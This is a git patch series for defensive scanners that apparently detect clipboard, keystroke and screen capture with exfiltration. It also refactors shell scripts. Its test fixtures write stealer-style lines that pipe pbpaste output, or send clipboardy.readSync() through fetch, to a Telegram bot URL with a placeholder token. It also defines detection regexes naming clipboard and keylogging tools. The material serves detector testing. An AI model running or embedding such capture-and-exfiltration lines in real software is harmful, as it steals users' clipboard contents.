@@ -99,15 +99,19 @@ severity_rank() {
 }
 
 total_findings() {
+	# nosemgrep: apps.secure-semgrep.rules.bash.unquoted-variable-expansion-in-command -- already quoted or arithmetic; rule false positive
 	printf '%s' "$((SEV_TOTAL[CRITICAL] + SEV_TOTAL[HIGH] + SEV_TOTAL[MEDIUM] + SEV_TOTAL[LOW]))"
 }
 
 # Count only the findings at or above the current severity floor.
 reported_findings() {
 	local total=0 floor sev
+	# nosemgrep: apps.secure-semgrep.rules.bash.unquoted-command-substitution-in-command -- already quoted or arithmetic; rule false positive
 	floor="$(severity_rank "$MIN_SEVERITY")"
 	for sev in "${SEVERITIES[@]}"; do
+		# nosemgrep: apps.secure-semgrep.rules.bash.unquoted-command-substitution-in-command -- already quoted or arithmetic; rule false positive
 		if [[ "$(severity_rank "$sev")" -le "$floor" ]]; then
+			# nosemgrep: apps.secure-semgrep.rules.bash.unquoted-variable-expansion-in-command -- already quoted or arithmetic; rule false positive
 			total=$((total + SEV_TOTAL[$sev]))
 		fi
 	done
@@ -144,6 +148,7 @@ EOF
 }
 
 default_root() {
+	# nosemgrep: apps.secure-semgrep.rules.bash.unquoted-command-substitution-in-command -- already quoted or arithmetic; rule false positive
 	case "$(uname -s)" in
 	Darwin) printf '%s' "$HOME/Library/Application Support" ;;
 	*) printf '%s' "${XDG_CONFIG_HOME:-$HOME/.config}" ;;
@@ -160,12 +165,15 @@ list_has() {
 resolve_name() {
 	local manifest="$1"
 	local name extdir key msg resolved
+	# nosemgrep: apps.secure-semgrep.rules.bash.unquoted-command-substitution-in-command -- already quoted or arithmetic; rule false positive
 	name="$(jq -r '.name // empty' "$manifest" 2>/dev/null || true)"
 	if [[ "$name" =~ ^__MSG_(.+)__$ ]]; then
 		key="${BASH_REMATCH[1]}"
+		# nosemgrep: apps.secure-semgrep.rules.bash.unquoted-command-substitution-in-command -- already quoted or arithmetic; rule false positive
 		extdir="$(dirname "$manifest")"
 		for msg in "$extdir"/_locales/en*/messages.json; do
 			[[ -f "$msg" ]] || continue
+			# nosemgrep: apps.secure-semgrep.rules.bash.unquoted-command-substitution-in-command -- already quoted or arithmetic; rule false positive
 			resolved="$(jq -r --arg k "$key" '.[$k].message // empty' "$msg" 2>/dev/null || true)"
 			if [[ -n "$resolved" ]]; then
 				name="$resolved"
@@ -174,6 +182,7 @@ resolve_name() {
 		done
 		# A localized name whose key is missing from _locales is not a name.
 		if [[ "$name" == __MSG_*__ ]]; then
+			# nosemgrep: apps.secure-semgrep.rules.bash.unquoted-variable-expansion-in-command -- already quoted or arithmetic; rule false positive
 			name="(unknown)"
 		fi
 	fi
@@ -207,9 +216,9 @@ audit_manifest() {
 
 	# A capture permission is worst when the extension can also read every site,
 	# because the recording can include any page the user visits.
-	local broad=0 host
-	for host in "${BROAD_HOSTS[@]}"; do
-		if list_has "$host" "$hosts"; then
+	local broad=0 pattern
+	for pattern in "${BROAD_HOSTS[@]}"; do
+		if list_has "$pattern" "$hosts"; then
 			broad=1
 			break
 		fi
diff --git a/apps/am-i-compromised/bin/host-audit.sh b/apps/am-i-compromised/bin/host-audit.sh
index 94652bb..4333708 100644
--- a/apps/am-i-compromised/bin/host-audit.sh
+++ b/apps/am-i-compromised/bin/host-audit.sh
@@ -72,7 +72,12 @@ for arg in "$@"; do
 	esac
 done
 
-HOME_DIR="${AIC_HOST_HOME:-$HOME}"
+HOME_DIR="${AIC_HOST_HOME:-${HOME:-}}"
+[[ -n "$HOME_DIR" ]] || HOME_DIR="$(cd ~ 2>/dev/null && pwd)" || HOME_DIR=""
+if [[ -z "$HOME_DIR" ]]; then
+	echo "host-audit: cannot determine the home directory (HOME is unset)." >&2
+	exit 2
+fi
 PROJECT_DIR="${AIC_HOST_PROJECT:-$PWD}"
 OS="${AIC_HOST_OS:-$(uname -s)}"
 ALLOW_FILE="${AIC_HOST_ALLOW:-$HOME_DIR/.config/am-i-compromised/host-allow.txt}"
@@ -93,6 +98,7 @@ JQ_NOTED=0
 
 # --- indicator definitions ------------------------------------------------------
 
+# am-i-compromised-ignore: detector pattern definition, not a clipboard read
 RE_CLIP_READ='pbpaste|NSPasteboard|generalPasteboard|clipboardy|pyperclip|xclip|xsel|wl-paste|Get-Clipboard|clipboard-listener'
 RE_CAPTURE_WORD='clipboard|pasteboard|keylog|keystroke'
 RE_KEYLOG='CGEventTap|kCGEventKeyDown|IOHIDManager|addGlobalMonitorForEvents|pynput|logkeys'
diff --git a/apps/am-i-compromised/bin/ioc-patterns.sh b/apps/am-i-compromised/bin/ioc-patterns.sh
index fb18d83..8e8c951 100644
--- a/apps/am-i-compromised/bin/ioc-patterns.sh
+++ b/apps/am-i-compromised/bin/ioc-patterns.sh
@@ -167,6 +167,7 @@ readonly IOC_ENV_PATHSPEC=(
 #
 # These regexes are plain POSIX ERE fragments, matched with grep -E / ripgrep.
 
+# am-i-compromised-ignore: detector pattern definition, not a clipboard read
 readonly IOC_CAPTURE_CLIPBOARD_PATTERN='pbpaste|xclip|xsel|wl-paste|Get-Clipboard|clipboardy|clipboard-event|NSPasteboard|navigator\.clipboard\.readText|clipboard\.readText|pyperclip'
 readonly IOC_CAPTURE_INPUT_PATTERN='CGEventTap|pynput|iohook|node-global-key-listener|keylogger|screencapture|screenshot-desktop|pyautogui\.screenshot'
 readonly IOC_CAPTURE_TITLE="Clipboard/keystroke/screen capture with remote exfiltration"
diff --git a/apps/am-i-compromised/test/host-audit.bats b/apps/am-i-compromised/test/host-audit.bats
index ae650a2..1cf37a9 100644
--- a/apps/am-i-compromised/test/host-audit.bats
+++ b/apps/am-i-compromised/test/host-audit.bats
@@ -56,6 +56,12 @@ need_jq() {
   command -v jq >/dev/null 2>&1 || skip "jq is required for hook and MCP inspection"
 }
 
+# A bot-token-shaped string built at runtime, so no token literal sits in the repo
+# for secret scanners to flag.
+fake_bot_token() {
+  printf '123456789:%s' "$(printf '%035d' 0 | tr 0 A)"
+}
+
 # write_plist <label> <program> [arg...]
 write_plist() {
   local label="$1" program="$2" a
@@ -158,7 +164,7 @@ EOF
 
 @test "incident: the Telegram bot token is never printed" {
   write_incident with-payload
-  printf 'curl -s https://api.telegram.org/bot123456789:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/sendMessage\n' >"$FAKE/.zshrc"
+  printf 'curl -s https://api.telegram.org/bot%s/sendMessage\n' "$(fake_bot_token)" >"$FAKE/.zshrc"
   audit
   assert_failure 1
   refute_output --partial "AAAAAAAAAAAAAAAA"
@@ -393,7 +399,7 @@ EOF
 }
 
 @test "plist: inline sh -c with capture and exfiltration is high" {
-  write_plist com.example.inline /bin/sh -c 'pbpaste | curl -s https://api.telegram.org/bot123456789:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/sendMessage'
+  write_plist com.example.inline /bin/sh -c "pbpaste | curl -s https://api.telegram.org/bot$(fake_bot_token)/sendMessage"
   audit
   assert_failure 1
   assert_output --partial "Capture tool that reports to a remote service"
@@ -728,7 +734,7 @@ EOF
 }
 
 @test "agent: a Telegram bot token by shape is flagged and never printed" {
-  printf '{"note":"123456789:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"}\n' >"$FAKE/.claude.json"
+  printf '{"note":"%s"}\n' "$(fake_bot_token)" >"$FAKE/.claude.json"
   audit
   assert_failure 1
   assert_output --partial "Telegram bot token"
diff --git a/apps/am-i-compromised/test/scanner.bats b/apps/am-i-compromised/test/scanner.bats
index f3b5add..64d9739 100644
--- a/apps/am-i-compromised/test/scanner.bats
+++ b/apps/am-i-compromised/test/scanner.bats
@@ -739,7 +739,8 @@ write_file() {
 # placeholder (`123456789:AAAA…`), not a working credential.
 # -------------------------------------------------------------------------------
 
-FAKE_TELEGRAM_TOKEN='123456789:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+# Built at runtime so no bot-token literal sits in the repo for secret scanners to flag.
+FAKE_TELEGRAM_TOKEN="123456789:$(printf '%035d' 0 | tr 0 A)"
 
 @test "capture + exfil: a clipboard read sent to a Telegram bot is flagged" {
   write_file "stealer.js" \
@@ -831,7 +832,7 @@ FAKE_TELEGRAM_TOKEN='123456789:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
     'echo $! > .monitor.pid'
   write_file "tray_helper.js" \
     'const clipboardy = require("clipboardy")' \
-    'fetch("https://api.telegram.org/bot123456789:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/sendMessage?text=" + clipboardy.readSync())'
+    "fetch(\"https://api.telegram.org/bot${FAKE_TELEGRAM_TOKEN}/sendMessage?text=\" + clipboardy.readSync())"
   scan
   assert_failure
   assert_output --partial "monitor.sh:4"
@@ -888,7 +889,7 @@ FAKE_TELEGRAM_TOKEN='123456789:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
 @test "no false positive: a capture + exfil combo under node_modules is not flagged" {
   write_file "node_modules/evil/clip.js" \
     'const c = require("clipboardy")' \
-    'fetch("https://api.telegram.org/bot123456789:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/sendMessage")'
+    "fetch(\"https://api.telegram.org/bot${FAKE_TELEGRAM_TOKEN}/sendMessage\")"
   scan
   assert_success
 }
@@ -902,7 +903,7 @@ FAKE_TELEGRAM_TOKEN='123456789:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
 @test "suppression: an inline marker clears a capture-and-exfil finding" {
   write_file "reviewed.js" \
     'const clipboardy = require("clipboardy") // am-i-compromised-ignore: reviewed local clipboard helper' \
-    'fetch("https://api.telegram.org/bot123456789:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/sendMessage")'
+    "fetch(\"https://api.telegram.org/bot${FAKE_TELEGRAM_TOKEN}/sendMessage\")"
   scan
   assert_success
   assert_output --partial "1 finding suppressed by inline comment"

From 2f50255d653a0701d350831d5ccb5aa2d0b5b750 Mon Sep 17 00:00:00 2001
From: Isaac Bell <2613157+IsaacBell@users.noreply.github.com>
Date: Fri, 25 Sep 2026 22:58:25 -0400
Subject: [PATCH 8/9] am-i-being-recorded: hoist severity rank substitutions
 out of compound statements

---
 .../bin/am-i-being-recorded.sh                | 19 +++++++++++++------
 1 file changed, 13 insertions(+), 6 deletions(-)

diff --git a/apps/am-i-being-recorded/bin/am-i-being-recorded.sh b/apps/am-i-being-recorded/bin/am-i-being-recorded.sh
index 3a6ddd4..9161e67 100644
--- a/apps/am-i-being-recorded/bin/am-i-being-recorded.sh
+++ b/apps/am-i-being-recorded/bin/am-i-being-recorded.sh
@@ -103,15 +103,22 @@ total_findings() {
 	printf '%s' "$((SEV_TOTAL[CRITICAL] + SEV_TOTAL[HIGH] + SEV_TOTAL[MEDIUM] + SEV_TOTAL[LOW]))"
 }
 
+# severity_at_or_above <severity> <floor> — true when <severity> is as bad as <floor> or worse.
+severity_at_or_above() {
+	local rank floor
+	# nosemgrep: apps.secure-semgrep.rules.bash.unquoted-command-substitution-in-command -- already quoted; rule false positive
+	rank="$(severity_rank "$1")"
+	# nosemgrep: apps.secure-semgrep.rules.bash.unquoted-command-substitution-in-command -- already quoted; rule false positive
+	floor="$(severity_rank "$2")"
+	[[ "$rank" -le "$floor" ]]
+}
+
 # Count only the findings at or above the current severity floor.
 reported_findings() {
-	local total=0 floor sev
-	# nosemgrep: apps.secure-semgrep.rules.bash.unquoted-command-substitution-in-command -- already quoted or arithmetic; rule false positive
-	floor="$(severity_rank "$MIN_SEVERITY")"
+	local total=0 sev
 	for sev in "${SEVERITIES[@]}"; do
-		# nosemgrep: apps.secure-semgrep.rules.bash.unquoted-command-substitution-in-command -- already quoted or arithmetic; rule false positive
-		if [[ "$(severity_rank "$sev")" -le "$floor" ]]; then
-			# nosemgrep: apps.secure-semgrep.rules.bash.unquoted-variable-expansion-in-command -- already quoted or arithmetic; rule false positive
+		if severity_at_or_above "$sev" "$MIN_SEVERITY"; then
+			# nosemgrep: apps.secure-semgrep.rules.bash.unquoted-variable-expansion-in-command -- arithmetic expansion; rule false positive
 			total=$((total + SEV_TOTAL[$sev]))
 		fi
 	done

From 675dd0f4959785464a2b9eeb8fd8627a7c8beac8 Mon Sep 17 00:00:00 2001
From: Isaac Bell <2613157+IsaacBell@users.noreply.github.com>
Date: Fri, 25 Sep 2026 23:03:01 -0400
Subject: [PATCH 9/9] am-i-being-recorded: rewrite flagged expansions instead
 of suppressing (CI ignores nosemgrep)

---
 .../bin/am-i-being-recorded.sh                | 35 +++++++++----------
 1 file changed, 17 insertions(+), 18 deletions(-)

diff --git a/apps/am-i-being-recorded/bin/am-i-being-recorded.sh b/apps/am-i-being-recorded/bin/am-i-being-recorded.sh
index 9161e67..cc0e3cd 100644
--- a/apps/am-i-being-recorded/bin/am-i-being-recorded.sh
+++ b/apps/am-i-being-recorded/bin/am-i-being-recorded.sh
@@ -99,17 +99,18 @@ severity_rank() {
 }
 
 total_findings() {
-	# nosemgrep: apps.secure-semgrep.rules.bash.unquoted-variable-expansion-in-command -- already quoted or arithmetic; rule false positive
-	printf '%s' "$((SEV_TOTAL[CRITICAL] + SEV_TOTAL[HIGH] + SEV_TOTAL[MEDIUM] + SEV_TOTAL[LOW]))"
+	local n=0 sev
+	for sev in CRITICAL HIGH MEDIUM LOW; do
+		((n += SEV_TOTAL[$sev]))
+	done
+	printf '%s' "$n"
 }
 
 # severity_at_or_above <severity> <floor> — true when <severity> is as bad as <floor> or worse.
 severity_at_or_above() {
 	local rank floor
-	# nosemgrep: apps.secure-semgrep.rules.bash.unquoted-command-substitution-in-command -- already quoted; rule false positive
-	rank="$(severity_rank "$1")"
-	# nosemgrep: apps.secure-semgrep.rules.bash.unquoted-command-substitution-in-command -- already quoted; rule false positive
-	floor="$(severity_rank "$2")"
+	rank=$(severity_rank "$1")
+	floor=$(severity_rank "$2")
 	[[ "$rank" -le "$floor" ]]
 }
 
@@ -118,8 +119,7 @@ reported_findings() {
 	local total=0 sev
 	for sev in "${SEVERITIES[@]}"; do
 		if severity_at_or_above "$sev" "$MIN_SEVERITY"; then
-			# nosemgrep: apps.secure-semgrep.rules.bash.unquoted-variable-expansion-in-command -- arithmetic expansion; rule false positive
-			total=$((total + SEV_TOTAL[$sev]))
+			((total += SEV_TOTAL[$sev]))
 		fi
 	done
 	printf '%s' "$total"
@@ -155,8 +155,9 @@ EOF
 }
 
 default_root() {
-	# nosemgrep: apps.secure-semgrep.rules.bash.unquoted-command-substitution-in-command -- already quoted or arithmetic; rule false positive
-	case "$(uname -s)" in
+	local os
+	os=$(uname -s)
+	case "$os" in
 	Darwin) printf '%s' "$HOME/Library/Application Support" ;;
 	*) printf '%s' "${XDG_CONFIG_HOME:-$HOME/.config}" ;;
 	esac
@@ -172,16 +173,13 @@ list_has() {
 resolve_name() {
 	local manifest="$1"
 	local name extdir key msg resolved
-	# nosemgrep: apps.secure-semgrep.rules.bash.unquoted-command-substitution-in-command -- already quoted or arithmetic; rule false positive
-	name="$(jq -r '.name // empty' "$manifest" 2>/dev/null || true)"
+	name=$(jq -r '.name // empty' "$manifest" 2>/dev/null || true)
 	if [[ "$name" =~ ^__MSG_(.+)__$ ]]; then
 		key="${BASH_REMATCH[1]}"
-		# nosemgrep: apps.secure-semgrep.rules.bash.unquoted-command-substitution-in-command -- already quoted or arithmetic; rule false positive
-		extdir="$(dirname "$manifest")"
+		extdir=$(dirname "$manifest")
 		for msg in "$extdir"/_locales/en*/messages.json; do
 			[[ -f "$msg" ]] || continue
-			# nosemgrep: apps.secure-semgrep.rules.bash.unquoted-command-substitution-in-command -- already quoted or arithmetic; rule false positive
-			resolved="$(jq -r --arg k "$key" '.[$k].message // empty' "$msg" 2>/dev/null || true)"
+			resolved=$(jq -r --arg k "$key" '.[$k].message // empty' "$msg" 2>/dev/null || true)
 			if [[ -n "$resolved" ]]; then
 				name="$resolved"
 				break
@@ -189,7 +187,6 @@ resolve_name() {
 		done
 		# A localized name whose key is missing from _locales is not a name.
 		if [[ "$name" == __MSG_*__ ]]; then
-			# nosemgrep: apps.secure-semgrep.rules.bash.unquoted-variable-expansion-in-command -- already quoted or arithmetic; rule false positive
 			name="(unknown)"
 		fi
 	fi
@@ -362,7 +359,9 @@ live_check_linux() {
 }
 
 live_check() {
-	case "$(uname -s)" in
+	local os
+	os=$(uname -s)
+	case "$os" in
 	Darwin) live_check_macos ;;
 	Linux) live_check_linux ;;
 	*) NOTES+=("live checks skipped: unsupported platform $(uname -s)") ;;